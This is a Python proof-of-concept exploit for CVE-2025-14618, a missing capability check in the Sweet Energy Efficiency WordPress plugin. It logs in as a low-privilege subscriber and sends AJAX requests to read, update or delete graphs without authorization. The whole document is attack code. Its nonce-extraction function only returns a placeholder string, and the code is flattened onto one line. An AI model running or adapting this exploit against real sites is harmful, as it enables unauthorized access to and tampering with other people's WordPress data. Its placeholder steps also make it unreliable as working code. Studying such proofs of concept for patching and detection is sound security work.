CVE-2025-14618

# CVE-2025-14618 PoC - WordPress Sweet Energy Efficiency Plugin Unauthorized Access # Description: Exploits missing capability check in sweet_energy_efficiency_action AJAX handler # Target: WordPress with Sweet Energy Efficiency plugin <= 1.0.6 import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" # Low-privilege account PASSWORD = "password123" def get_wordpress_nonce(login_cookies, target_url): """Extract nonce from WordPress admin page""" resp = requests.get(f"{target_url}/wp-admin/", cookies=login_cookies) # Extract nonce from page content or use wp_rest nonce return "extracted_nonce_here" def exploit_unauthorized_access(target_url, username, password): """Exploit CVE-2025-14618: Missing capability check""" # Step 1: Login to WordPress with subscriber account session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_resp = session.post(f"{target_url}/wp-login.php", data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful with subscriber account") # Step 2: Exploit the vulnerability - Read arbitrary graphs exploit_data = { 'action': 'sweet_energy_efficiency_action', 'operation': 'read', # or 'update', 'delete' 'graph_id': '1', # Target arbitrary graph ID 'nonce': get_wordpress_nonce(session.cookies, target_url) } ajax_resp = session.post( f"{target_url}/wp-admin/admin-ajax.php", data=exploit_data, headers={'X-Requested-With': 'XMLHttpRequest'} ) print(f"[*] Response Status: {ajax_resp.status_code}") print(f"[*] Response: {ajax_resp.text[:500]}") if ajax_resp.status_code == 200: print("[!] Vulnerability confirmed - Unauthorized access possible") return True return False if __name__ == "__main__": print("="*60) print("CVE-2025-14618 PoC - Sweet Energy Efficiency Plugin") print("="*60) exploit_unauthorized_access(TARGET_URL, USERNAME, PASSWORD)

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